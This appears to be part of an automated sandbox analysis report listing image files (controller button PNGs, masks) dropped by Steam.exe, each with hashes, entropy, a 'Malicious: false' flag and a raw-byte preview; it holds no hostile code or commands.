UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_right_bumper_d0g.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18846
Entropy (8bit):	6.9020762770184465
Encrypted:	false
SSDEEP:
MD5:	015B5DF3E48662BF2EB7228F2767D163
SHA1:	22338AAC593D5B045F6C243B3C4816789B108B09
SHA-256:	B8D2B6EA3BFA11A93DB96B5E2AE046B0EBA4ED322A5467EF8DA2CEC171902257
SHA-512:	FB5258FA82FFB8D0505CC95B3ACB3121B29E3FB3107AC9EEC4138D57DE84AC190C02DECA682134CB5B18B2D32B2C6BF84A00C01638B6BBD3712892B90551E6FE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_right_trigger.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	168285
Entropy (8bit):	7.950613040638943
Encrypted:	false
SSDEEP:
MD5:	A3602ACD3521EA00C27EE84B178377E5
SHA1:	FF05E7541DB7E198861F2CA3946E4D3F5F5369AE
SHA-256:	C6928AA1E33FD63A051C2FA8870CB089DD28C0C6D17BC168B8DCB4E28C5C4637
SHA-512:	75281F5F54813764C3BF7B195DB13FA7C5DE4D917119C2F6F36B155C831A8223B73D96FE39921E45AE3FF44CC8FE7934477F53C96060630AFBFF16046064C2AD
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_right_trigger_d0g.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13013
Entropy (8bit):	5.876303156642452
Encrypted:	false
SSDEEP:
MD5:	5F4BCD966AA07AFAE59FA36A5702A013
SHA1:	072BBE8308D921FA546D230D42F4CCA35A536688
SHA-256:	1FE6DBE9F0AB690A57355DE8892B6066BFACA435CA6229A2C0EBC4FC3F781911
SHA-512:	13644D13A2AD7E9B2A8AC2E91AFF46ED1FEAD177637A9C2FC316D9AA5A3A02FA5F2079BA824D3C63ED018F6B58C1C85881E825EFB645A2E9922694B1196F8D51
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_d0g.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1800 x 878, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	235059
Entropy (8bit):	7.956318410321219
Encrypted:	false
SSDEEP:
MD5:	CC7B80B7F12ACD76732608ACCA70A5C8
SHA1:	842ED6DE198FBA5FD637DACF5CBE768229EE274F
SHA-256:	BBD3C4DC28A112C812284F6EC7E1E1E77738DE0B13EC2D5D123CE7BF15D979CF
SHA-512:	3D7B4F9B6B36FBD94F703D494FF3E11804A89BD5C9557F472EDC4A7EE8A60A7BCBFA85BB85093150E750508E0C210E61606EC8AB25BDEDDC3E31A328714064D6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......n......q].....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_lines.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1574 x 768, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	287165
Entropy (8bit):	7.984186987374243
Encrypted:	false
SSDEEP:
MD5:	8886018D91FCBE1424E1924F369CFC87
SHA1:	52FF40A4D0A6C94139F689F529FE872C9271160D
SHA-256:	92848C96E9C004CB4CD3199F34B6B5F27BAF6A5BA4FE5F3E52C59D2A71B6B383
SHA-512:	BB15790C964EC444AB3751B15A1A3EDF56D135F06D24A2600F702B19B8F261A40636BA6789ACBF5C01E22450A6D1E66B2116F3758DA5D59F17F9EDA80424DCC5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...&............[....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_lines_d0g.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1800 x 878, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	190970
Entropy (8bit):	7.964781882947649
Encrypted:	false
SSDEEP:
MD5:	A87649A7DB745F69EEB5F6CCB1007EB0
SHA1:	A0222EE2C4E7B40F1E6B1307327CBAF081CA1373
SHA-256:	12C1243CD3C7A14D3C6CD333F2D270277EC5D7110A3111C99215C319D2BEEFAF
SHA-512:	42A52F3D92E90E7CC0F95C2EC79E9F2AB6CCD7FA0524F9F97D2266AAFE6E62CA7035B77C1519C7AE0FED2C1D64488DB0CDB06D7405614A7A7805BCF5687B93A0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......n......q].....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\bottom_mask.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 1 x 400 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	1644
Entropy (8bit):	2.3062799545836423
Encrypted:	false
SSDEEP:
MD5:	CEDD34BFE17398B881D250BF6F9115DC
SHA1:	B01E4721146A8AAEAE05979E9D1C1ADBC4C626BA
SHA-256:	B230FFD4BD95F7F73055721EC6F7F099C5D1C93BFCFF9B5424B6CCE03DA6F2AE
SHA-512:	6FB795EB578F67C5833B8CAB1DD5F22EFEEFFDFD2D62C63F49799DD217FF9760D5B6E09CA80462CFEEF3822323B8EA27A1818096DA73F92E3C28C8E83974C59E
Malicious:	false
Reputation:	unknown
Preview:	................ ................................................. . ."#".&%&.))).,++.///.222.665.999.<<<.@@@.DCC.GFG.JJJ.NNN.QQQ.VUU.YYY.]]].a`a.edd.hih.llm.opp.ttt!wxx$\|{\|(...,...1...5...9...>...C...H...N...S...Y..._...e...k...p...x...~..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\click.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 26 x 26, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	552
Entropy (8bit):	7.461498712407729
Encrypted:	false
SSDEEP:
MD5:	C32BAEBBC2F359C18AB182535E19372B
SHA1:	E85DA5734A316D2ADA60BF2C71B4B4F61C3CBD20
SHA-256:	8DCEFDB50CD2E7D97F4E98634C96233D10CB4DD2D60388911EDAF201B14B5FFA
SHA-512:	C16DD17B2542C09109D31BE1E4FA527AEE51597109F7BDB370997BC4A3F909EEB7D398774D9E690398CD8FEE91DC3807DB517F4792CBDA23CE8C59C23504B4BC
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............JL.....IDATH...?O.a.....F..H...iB.6...+l..v....:......CG./... ..".v6X.`g.0.y..c. ....H\|....>...g..-....G.F..R..P..V..&".;i.B...(..f....S<....:.....:...~.9^.RZ.V....`D.GD#"^D.@D\..zD...y..} .5.o....+..:>...v....V...x.:^..^)e..B..ED.62,#..c\:.^7.._...[Ji....9..x.L.RD.H......u..Y,`.c.f.X./`6.m+..=X.C.v(..K....a.?1\|.9.....9....x...EOr6..&...wN../y..S.2S..8'n#y{U.OyH.c.."...In..F.Zo.Qh;9..m.Z..5.whu(.J...-W....1.....j..c1..TTK).L.....+le...Ml.V..d...l\|]m.I.........f...\|_.....+....~..;P.R.&O....IEND.B`.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\api\button_a.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13625
Entropy (8bit):	7.962922390755154
Encrypted:	false
SSDEEP:
MD5:	46C1BFECE257E88F941194DFD04D4A21
SHA1:	60F9137EFB089CF3ECF1544D3BA85DD34D30A145
SHA-256:	C67959BCB9A33F23480806FEF40A1087725D71632042CED334C64AF595E4C717
SHA-512:	648BA579F9FAC4A89CE63D91D2AE242875CD5CA70D17D76B59E783CEB8E9E4021BF4DA50E9B28367BF48C0EE4C5F242643059529FFA0B26D05E6D5252F86F9AD
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\api\button_b.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13380
Entropy (8bit):	7.966987388608497
Encrypted:	false
SSDEEP:
MD5:	6F449BF5ABC01F514983B73AC608A335
SHA1:	71156F106E8A5ACF12158EA621CC729277066A31
SHA-256:	E75CCBC34A9363CC1100FE999DB96AE54CDEC4AF614C368706E3E5F691C68CB1
SHA-512:	49CE7A30D4DA0CCF658A1DC4E19B491248975652CB74943BB92320C3334AB656FCE28FADE4C2D83D26553D97A553E755BFAFEEE03B5A74EF2F04F0FD8540EDE6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\api\button_kb.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14608
Entropy (8bit):	7.971545453070547
Encrypted:	false
SSDEEP:
MD5:	D58473C784BA340ED8BC45148B714B34
SHA1:	0EEA45843DF27A288E0EE90D9DDE3C78F9B736C3
SHA-256:	B0D8506AB02D07ABD4E175BC1845E8366B82A93A24E23FB9DC0DFC647F9D6CEC
SHA-512:	85DDC053D8190B99BE59DB629864CE92B39B293262B5B134AA4A975F3579A6F688860AF4F97B5C33D1773B4BA0B6BCE678C7C21E0B96640EDBB4AF75DDAE974B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\api\button_select.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10048
Entropy (8bit):	7.957356125808846
Encrypted:	false
SSDEEP:
MD5:	7582FE1639A37DEAE7760A2D380544F4
SHA1:	235EC7323D2BECBEDAFAA08A430D18303080B81D
SHA-256:	D977408F564B14D1BB7DB47D673F93FE302B03C76FB6E2E03EFA4F6ED2CD6F1B
SHA-512:	8889C578CA70D9EC106AC7F8448901C5E4BC047FB6A76BA6CD61C416E3273EE3D7E387456344AFCE01285241A8CD5B719D93C9733707CBED0B59E778E94ACAD4
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\api\button_start.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10094
Entropy (8bit):	7.9365290525377405
Encrypted:	false
SSDEEP:
MD5:	8C1D95138DB196809544582C75A4B3D4
SHA1:	D14110DDBD0CE6CD4A60FB77C7D5D57F260524C6
SHA-256:	4BC33096627AD47BE47B1781C119FA9B41CA6CC5A1B8FB8C19041AE434CC4195
SHA-512:	8B645C58A2E4BB15C667EF7041370D777498E5900DE3C42069584FAE253AE0ACFA59CA36F055D274B58F24B27FBD196689D7D34280C19FEAD2A46A004979EE06
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\api\button_steam_off.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	20451
Entropy (8bit):	7.975664163793115
Encrypted:	false
SSDEEP:
MD5:	ECA39470AA1BC58A4652E57345A59D12
SHA1:	081DD121381A80D4B61464B6ADA1F881BA4827D3
SHA-256:	2FB0FBC7A4987151A20B7C87E439F913A8AFA9ECEE2E5F074885361EC03CC057
SHA-512:	06399396C4936A0C3398869C07911E82B44EC657061EC57A37F5781758BC7F6AB420D1A90CD9F3AF39109A4CFF74262FB35F0CAB415A2661A1D592829A7116ED
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\api\button_steam_on.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	22461
Entropy (8bit):	7.98512904859039
Encrypted:	false
SSDEEP:
MD5:	D7CE09A983055D4351193337720A60D4
SHA1:	4C2EC3B480A83210527ABCB9E86A8B7E981232EF
SHA-256:	A91E42B766C77E1634CBBF7449AAB735CD8E40D54DD3E220458BC99A4015E73E
SHA-512:	5C89881B4D1D67B1480002F4ACDB5199DBF6BBCF211669363E84251B775D54DB329AACC863500C553FB9ACD7FE745496FF318D59DA48EDC19192A239F47A08E4
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\api\button_x.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13840
